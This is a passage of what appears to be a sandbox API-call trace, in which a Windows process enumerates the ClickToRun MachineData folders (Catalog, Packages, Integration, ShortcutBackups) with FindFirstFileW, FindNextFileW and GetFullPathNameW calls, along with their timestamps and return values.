lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d7a4d6f, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1d7a4d6f, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1d7a4d6f, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Catalog", cAlternateFileName="")) returned 1 [0209.655] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da7a7ac, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1da7a7ac, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1da7a7ac, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 1 [0209.656] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da7a7ac, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1da7a7ac, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1da7a7ac, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 0 [0209.656] FindClose (in: hFindFile=0x1d469220 | out: hFindFile=0x1d469220) returned 1 [0209.656] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dbd10) returned 1 [0209.656] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dbcd0) returned 1 [0209.656] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dbde0) returned 1 [0209.656] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData", nBufferLength=0x105, lpBuffer=0x1f2db8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData", lpFilePart=0x0) returned 0x33 [0209.656] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\machinedata\\*"), lpFindFileData=0x1f2dbaf0 | out: lpFindFileData=0x1f2dbaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c4bfed4, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1d7a4d6f, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1da7a7ac, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0209.657] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c4bfed4, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1d7a4d6f, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1da7a7ac, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.657] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d7a4d6f, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1d7a4d6f, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1d7a4d6f, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Catalog", cAlternateFileName="")) returned 1 [0209.657] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da7a7ac, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1da7a7ac, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1da7a7ac, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 1 [0209.657] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.657] FindClose (in: hFindFile=0x1d469220 | out: hFindFile=0x1d469220) returned 1 [0209.657] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dbd10) returned 1 [0209.657] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dbcd0) returned 1 [0209.657] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2db620) returned 1 [0209.657] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog", nBufferLength=0x105, lpBuffer=0x1f2db100, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog", lpFilePart=0x0) returned 0x3b [0209.658] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\machinedata\\catalog\\*"), lpFindFileData=0x1f2db330 | out: lpFindFileData=0x1f2db330*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d7a4d6f, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1d7a4d6f, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1d7a4d6f, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a120 [0209.659] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d7a4d6f, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1d7a4d6f, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1d7a4d6f, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.660] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d7a4d6f, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1d7a4d6f, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1d7a743f, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 1 [0209.660] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d7a4d6f, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1d7a4d6f, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1d7a743f, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 0 [0209.660] FindClose (in: hFindFile=0x1d46a120 | out: hFindFile=0x1d46a120) returned 1 [0209.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2db550) returned 1 [0209.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2db510) returned 1 [0209.660] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2db620) returned 1 [0209.660] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog", nBufferLength=0x105, lpBuffer=0x1f2db100, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog", lpFilePart=0x0) returned 0x3b [0209.660] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\machinedata\\catalog\\*"), lpFindFileData=0x1f2db330 | out: lpFindFileData=0x1f2db330*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d7a4d6f, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1d7a4d6f, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1d7a4d6f, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0209.661] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d7a4d6f, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1d7a4d6f, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1d7a4d6f, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.661] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d7a4d6f, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1d7a4d6f, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1d7a743f, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 1 [0209.661] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.661] FindClose (in: hFindFile=0x1d469220 | out: hFindFile=0x1d469220) returned 1 [0209.661] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2db550) returned 1 [0209.661] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2db510) returned 1 [0209.661] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dae60) returned 1 [0209.661] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages", lpFilePart=0x0) returned 0x44 [0209.662] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d7a4d6f, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1d7a4d6f, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0xfc9e8858, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469dc0 [0209.662] FindNextFileW (in: hFindFile=0x1d469dc0, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d7a4d6f, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1d7a4d6f, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0xfc9e8858, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.662] FindNextFileW (in: hFindFile=0x1d469dc0, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d7a4d6f, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1d7a4d6f, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0xfc9e8858, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0209.662] FindClose (in: hFindFile=0x1d469dc0 | out: hFindFile=0x1d469dc0) returned 1 [0209.662] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0209.663] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages", lpFilePart=0x0) returned 0x44 [0209.663] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d7a4d6f, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0xfc9e8858, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xfc9e8858, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0209.663] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d7a4d6f, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0xfc9e8858, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xfc9e8858, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.663] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d7a4d6f, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0xfc9e8858, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xfc9e8858, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0209.663] FindClose (in: hFindFile=0x1d469220 | out: hFindFile=0x1d469220) returned 1 [0209.663] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0209.663] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration", nBufferLength=0x105, lpBuffer=0x1f2db100, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration", lpFilePart=0x0) returned 0x3f [0209.663] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\machinedata\\integration\\*"), lpFindFileData=0x1f2db330 | out: lpFindFileData=0x1f2db330*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da7a7ac, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1da7a7ac, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1da7a7ac, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a120 [0209.665] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da7a7ac, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1da7a7ac, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1da7a7ac, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.665] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da7a7ac, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1da7a7ac, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1da7a7ac, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShortcutBackups", cAlternateFileName="SHORTC~1")) returned 1 [0209.665] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da7a7ac, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1da7a7ac, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1da7a7ac, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShortcutBackups", cAlternateFileName="SHORTC~1")) returned 0 [0209.665] FindClose (in: hFindFile=0x1d46a120 | out: hFindFile=0x1d46a120) returned 1 [0209.665] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2db550) returned 1 [0209.665] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration", nBufferLength=0x105, lpBuffer=0x1f2db100, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration", lpFilePart=0x0) returned 0x3f [0209.665] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\machinedata\\integration\\*"), lpFindFileData=0x1f2db330 | out: lpFindFileData=0x1f2db330*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da7a7ac, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1da7a7ac, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1da7a7ac, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0209.666] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da7a7ac, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1da7a7ac, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1da7a7ac, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.666] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da7a7ac, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1da7a7ac, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1da7a7ac, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShortcutBackups", cAlternateFileName="SHORTC~1")) returned 1 [0209.666] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.666] FindClose (in: hFindFile=0x1d469220 | out: hFindFile=0x1d469220) returned 1 [0209.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2db550) returned 1 [0209.666] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups", lpFilePart=0x0) returned 0x4f [0209.666] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\machinedata\\integration\\shortcutbackups\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da7a7ac, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1da7a7ac, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1da7a7ac, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0209.667] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da7a7ac, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1da7a7ac, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1da7a7ac, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.667] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da7a7ac, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1da7a7ac, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1da7a7ac, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0209.667] FindClose (in: hFindFile=0x1d469220 | out: hFindFile=0x1d469220) returned 1 [0209.667] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0209.667] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups", lpFilePart=0x0) returned 0x4f [0209.667] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\machinedata\\integration\\shortcutbackups\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da7a7ac, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1da7a7ac, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1da7a7ac, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a120 [0209.667] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da7a7ac, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1da7a7ac, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1da7a7ac, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.668] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da7a7ac, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1da7a7ac, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1da7a7ac, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 